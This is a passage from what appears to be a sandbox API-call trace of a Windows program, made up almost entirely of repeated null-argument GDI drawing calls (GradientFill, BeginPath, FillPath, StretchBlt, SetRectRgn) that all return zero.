lpReadTimeout=0x19fe88) returned 0 [0156.590] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.673] GradientFill () returned 0x0 [0156.673] BeginPath (hdc=0x0) returned 0 [0156.673] FillPath (hdc=0x0) returned 0 [0156.673] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.673] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.673] GradientFill () returned 0x0 [0156.673] BeginPath (hdc=0x0) returned 0 [0156.673] FillPath (hdc=0x0) returned 0 [0156.673] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.673] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.673] GradientFill () returned 0x0 [0156.673] BeginPath (hdc=0x0) returned 0 [0156.673] FillPath (hdc=0x0) returned 0 [0156.673] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.673] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.673] GradientFill () returned 0x0 [0156.673] BeginPath (hdc=0x0) returned 0 [0156.673] FillPath (hdc=0x0) returned 0 [0156.673] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.673] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.673] GradientFill () returned 0x0 [0156.673] BeginPath (hdc=0x0) returned 0 [0156.673] FillPath (hdc=0x0) returned 0 [0156.673] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.673] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.673] GradientFill () returned 0x0 [0156.673] BeginPath (hdc=0x0) returned 0 [0156.673] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.674] GradientFill () returned 0x0 [0156.674] BeginPath (hdc=0x0) returned 0 [0156.674] FillPath (hdc=0x0) returned 0 [0156.674] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.674] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.675] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.675] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.675] GradientFill () returned 0x0 [0156.675] BeginPath (hdc=0x0) returned 0 [0156.675] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.676] BeginPath (hdc=0x0) returned 0 [0156.676] FillPath (hdc=0x0) returned 0 [0156.676] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.676] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.676] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.677] GradientFill () returned 0x0 [0156.677] BeginPath (hdc=0x0) returned 0 [0156.677] FillPath (hdc=0x0) returned 0 [0156.677] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.677] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.678] GradientFill () returned 0x0 [0156.678] BeginPath (hdc=0x0) returned 0 [0156.678] FillPath (hdc=0x0) returned 0 [0156.678] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.678] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath 